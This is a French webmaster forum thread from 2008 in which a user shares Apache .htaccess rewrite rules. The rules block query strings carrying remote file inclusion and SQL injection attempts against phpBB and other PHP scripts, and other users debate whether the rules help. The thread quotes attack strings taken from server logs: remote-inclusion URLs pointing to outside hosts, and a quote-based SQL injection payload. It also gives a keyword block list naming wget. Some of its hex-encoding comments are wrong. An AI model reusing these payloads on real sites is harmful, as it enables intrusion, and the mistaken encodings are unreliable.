J'ai protégé mon site avec .htaccess

Consultez la formation URL Rewriting et sites dynamiques de WebRankInfo / Ranking Metrics


rv66
Nouveau WRInaute
Nouveau WRInaute
 
Messages: 8
Inscription: 27 Fév 2007

J'ai protégé mon site avec .htaccess

Message le Mar Mai 06, 2008 22:29

Bonjour,

Je mets ce message pour que vous puissiez protéger votre site et pour ne pas dégoutter les personnes d'ouvrir des sites face aux hackers.

L'avantage avec cette solution est que le hacker est stoppé par le serveur apache. :lol:

Avec la mise en place de CrackerTracker pour le forum phpbb, j'ai constaté la présence dans les logs d'instruction de ce type :
/forum/viewforum.php?f=http://amyru.h18.ru/images/cs.txt
/forum/viewforum.php?f=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes%2Fpublicaciones%2Ffotos%2Femesuki%2Fohuhud
En analysant les scripts qui sont transmis via http:// ... on s'aperçoit que ces scripts sont construits pour prendre la main sur les données sensibles de n'importe quel site (mot de passe de base de données, téléchargement de fichiers source en C ou en perl avec compilation de ceux ci, etc ...).

Ensuite, on trouve aussi des requetes comportant des caractères qui ne sont jamais transmis en temps normal :
[ (%5B) pour faire par exemple [1]
% (%25) pour ajouter une apostrophe dans la requete transmis %27
; (%3B) pour séparer plusieurs instructions en php, javascript, ...


Je vous livre mon fichier .htaccess qui protège l'ensemble de mon site contre ce type d'attaque. Ce fichier peut être complété et amélioré. Mais pour le moment, ça marche depuis plus 1 an.

Code: Tout sélectionner
RewriteEngine on

# ..... http
RewriteCond %{QUERY_STRING} ^(.*)http [NC]
RewriteRule ^(.*) - [F]

# ..... http (%68 %74 %74 %70) h
RewriteCond %{QUERY_STRING} ^(.*)%68 [NC]
RewriteRule ^(.*) - [F]

# ..... http (%68 %74 %74 %70) t
RewriteCond %{QUERY_STRING} ^(.*)%74 [NC]
RewriteRule ^(.*) - [F]

# ..... http (%68 %74 %74 %70) p
RewriteCond %{QUERY_STRING} ^(.*)%70 [NC]
RewriteRule ^(.*) - [F]

# ..... HTTP (%48 %84 %84 %80) H
RewriteCond %{QUERY_STRING} ^(.*)%48 [NC]
RewriteRule ^(.*) - [F]

# ..... HTTP (%48 %84 %84 %80) T
RewriteCond %{QUERY_STRING} ^(.*)%84 [NC]
RewriteRule ^(.*) - [F]

# ..... HTTP (%48 %84 %84 %80) P
RewriteCond %{QUERY_STRING} ^(.*)%80 [NC]
RewriteRule ^(.*) - [F]


# ..... ftp (%66 %74 %74 %70)
RewriteCond %{QUERY_STRING} ^(.*)ftp [NC]
RewriteRule ^(.*) - [F]

# ..... ftp (%66 %74 %74 %70) f
RewriteCond %{QUERY_STRING} ^(.*)%66 [NC]
RewriteRule ^(.*) - [F]

# ..... FTP (%46 %84 %84 %80) F
RewriteCond %{QUERY_STRING} ^(.*)%46 [NC]
RewriteRule ^(.*) - [F]

# .... include                                                     
RewriteCond %{QUERY_STRING} ^(.*)include [NC]
RewriteRule ^(.*) - [F]

# ..... wget
RewriteCond %{QUERY_STRING} ^(.*)wget [NC]
RewriteRule ^(.*) - [F]

# ....... %2B (+)
RewriteCond %{QUERY_STRING} ^(.*)%2B [NC]
RewriteRule ^(.*) - [F]

# ....... %25 (%)
RewriteCond %{QUERY_STRING} ^(.*)%25 [NC]
RewriteRule ^(.*) - [F]

# ....... %3B (;)
RewriteCond %{QUERY_STRING} ^(.*)%3B [NC]
RewriteRule ^(.*) - [F]

# ....... %28 (
RewriteCond %{QUERY_STRING} ^(.*)%28 [NC]
RewriteRule ^(.*) - [F]

# ....... %29 (
RewriteCond %{QUERY_STRING} ^(.*)%29 [NC]
RewriteRule ^(.*) - [F]

# ....... %5B ([)
RewriteCond %{QUERY_STRING} ^(.*)%5B [NC]
RewriteRule ^(.*) - [F]

# ....... ' (')
RewriteCond %{QUERY_STRING} ^(.*)' [NC]
RewriteRule ^(.*) - [F]

# ........... agent : libwww
RewriteCond %{HTTP_USER_AGENT} ^(.*)libwww [NC]
RewriteRule ^(.*) - [F]



L'inconveniant de cette protection est quelle vous bloque toutes les requetes comportant la chaine http ou ftp.

Ceci est une petite contribution, je ne savais pas où la mettre pour vous en faire profiter.
voilà.
Dernière édition par rv66 le Ven Juin 06, 2008 19:44, édité 3 fois.


Kaliiii
WRInaute impliqué
WRInaute impliqué
 
Messages: 602
Inscription: 2 Mar 2005

Message le Mer Mai 07, 2008 7:39

L'inconveniant de cette protection est quelle vous bloque toutes les requetes comportant la chaine http ou ftp.


loooooooooool :lol:


rv66
Nouveau WRInaute
Nouveau WRInaute
 
Messages: 8
Inscription: 27 Fév 2007

Message le Mer Mai 07, 2008 18:52

On peut rajouter ces lignes
Code: Tout sélectionner
# ....... %28 (
RewriteCond %{QUERY_STRING} ^(.*)%28 [NC]
RewriteRule ^(.*) - [F]

# ....... %29 (
RewriteCond %{QUERY_STRING} ^(.*)%29 [NC]
RewriteRule ^(.*) - [F]


évitant cette instruction
forum/profile.php?mode=register&agreed=true+Result:+captcha+recognized;registered+%28registering+only+mode+is+ON%29;
Dernière édition par rv66 le Sam Mai 17, 2008 9:01, édité 2 fois.


medium69
WRInaute passionné
WRInaute passionné
 
Messages: 2485
Inscription: 7 Mai 2005

Message le Mer Mai 07, 2008 19:03

Kaliiii a écrit:
L'inconveniant de cette protection est quelle vous bloque toutes les requetes comportant la chaine http ou ftp.


loooooooooool :lol:


Tu aurais pu être un peu plus sympa.

C'est son premier post, et il pensait bien faire...


Kaliiii
WRInaute impliqué
WRInaute impliqué
 
Messages: 602
Inscription: 2 Mar 2005

Message le Mer Mai 07, 2008 19:25

Ok ok .. je suis désolé ^^

en fait, je ne suis pas sur qu'utiliser le .htaccess et donc les redirections serveur ne soit une bonne idée.

Pour ce qui est de la sécurité, il me parait nécessaire de vérifier que l'application présente ne comporte pas de faille permettant l'injection de code ou de requete SQL ou autres fichiers infectés.

d'autant que normalement, si le serveur est correctement configuré, toutes ces requetes retourneront une 404 bien de chez nous.

Bref, désolé pour mon intervention peut-être un peu difficile :) l'intention de ta part est tout de même louable :)

P.S. : Ces règles ne sont valables que pour un forum PhpBB si j'ai bien compris ?


rv66
Nouveau WRInaute
Nouveau WRInaute
 
Messages: 8
Inscription: 27 Fév 2007

Message le Mer Mai 07, 2008 23:45

Kaliiii a écrit:P.S. : Ces règles ne sont valables que pour un forum PhpBB si j'ai bien compris ?


Pas seulement pour le forum phpbb, mais aussi pour les scripts php (sondage, newsletter, chat et gallerie). Ce sont les scripts qui sont actuellement protégés par ça. Et aussi mes scripts persos; comme je suis nul dans la création des scripts blindés, comme ça je suis mieux protégé que si je ne fait rien.

Kaliiii a écrit:d'autant que normalement, si le serveur est correctement configuré, toutes ces requetes retourneront une 404 bien de chez nous.

Certes si le serveur est bien configuré.
Je préfére assurer la protection de mon site plutôt de m'appuyer sur une sécurité éventuelle du serveur.
Je pense aux nombreux sites qui se sont fait hacker ou pirater, ils devaient penser comme toi "le serveur est bien configuré, donc je ne serai pas piraté".

Je pense qu'ici tout le monde connait le mode opératoire des hackers de tout poil.

Moi, malheureusement j'ai découvert ça tout seul. J'ai trouvé une parade qui permet de protéger la totalité de mon site en amont de tout script. J'aurais trés bien pu ne rien dire et laisser les webmasters en herbe ou pas se débrouiller tout seul, de courrir aprés tous leurs scripts et d'essayer de les protéger par eux mêmes, ...

Mais je ne suis pas comme ça.

Je voudrais que ce type de mode opératoire soit diffusé, que l'on trouve des parades efficaces afin qu'il y ait de beaucoup plus de sites protégés simplement.

Si ce post permet de faire en sorte qu'il y ai moins de sites piratés, personnelement je serai content. Je pourrais me dire que j'ai apporté quelque chose.

Vap
WRInaute passionné
WRInaute passionné
 
Messages: 1090
Inscription: 17 Juin 2007

Message le Ven Mai 09, 2008 20:21

Kaliiii a écrit:
L'inconveniant de cette protection est quelle vous bloque toutes les requetes comportant la chaine http ou ftp.


loooooooooool :lol:


Pourquoi lol?

Peut etre ne connais tu pas bien ce que contient QUERY_STRING ?

C'est la partie de la requete après un point d'interrogation.

Ca t'arrive souvent de faire des requetes de la forme suivante?

-http://www.unsite.com/chemin/page.php?http://xxxx

C'est la présence du deuxième http qui est interdite, pas le premier évidemment.

pareil pour ftp.


rv66
Nouveau WRInaute
Nouveau WRInaute
 
Messages: 8
Inscription: 27 Fév 2007

Message le Jeu Mai 15, 2008 18:28

C'est tout à fait ça, Vap.

Merci.

Vap
WRInaute passionné
WRInaute passionné
 
Messages: 1090
Inscription: 17 Juin 2007

Message le Jeu Mai 15, 2008 18:38

De rien! :D

Cela dit, c'est vrai qu'il y a des sites où on rentre une URL complete en paramètre, par exemple tous les sites qui donnent le rang sur une requête google...

Mais on s'éloigne du sujet...


rv66
Nouveau WRInaute
Nouveau WRInaute
 
Messages: 8
Inscription: 27 Fév 2007

Message le Sam Mai 17, 2008 8:59

Oui, c'est vrai.

Mais dans ce cas de site, ils mettent en place les sécurité sur leurs scripts.

Perso, je ne gére pas ce type de sites.

Si les gens ont un blog, forum, joomla, ... je pense qu'ils auront besoin de cela.
Et puis rien ne les empeche d'essayer.

d'ailleurs dans joomla, il y a un fichier htaccess qui est fourni pour pallier une faille. Pourquoi faire qu'une faille, alors qu'il y en a tant d'autres.


rv66
Nouveau WRInaute
Nouveau WRInaute
 
Messages: 8
Inscription: 27 Fév 2007

Message le Mar Juin 03, 2008 23:41

A première vue, il existe une faille dans les scripts du forum phpbb3 :
authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=http://....


rv66
Nouveau WRInaute
Nouveau WRInaute
 
Messages: 8
Inscription: 27 Fév 2007

Message le Ven Juin 06, 2008 19:42

Je rajoute au fichier
Code: Tout sélectionner
# ....... ' (')
RewriteCond %{QUERY_STRING} ^(.*)' [NC]
RewriteRule ^(.*) - [F]


ça bloque l'exploit SQL injection de ce type :

/forum/index.php?sid=27da'OR'a'='a'


Si vous avez aimé cette discussion, partagez-la sur vos réseaux sociaux préférés :

Formation recommandée sur ce thème :

Formation URL Rewriting et sites dynamiques : apprenez comment mettre en place la réécriture d'URL, comment optimiser vos URL et profiter de vos pages dynamiques pour booster votre référencement. Formation animée par Olivier Duffez et Fabien Facériès, experts en référencement naturel.

Tous les détails sur le site Ranking Metrics : programme, prix, dates et lieux, inscription en ligne.

Lectures recommandées sur ce thème :



Qui est en ligne

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 0 invités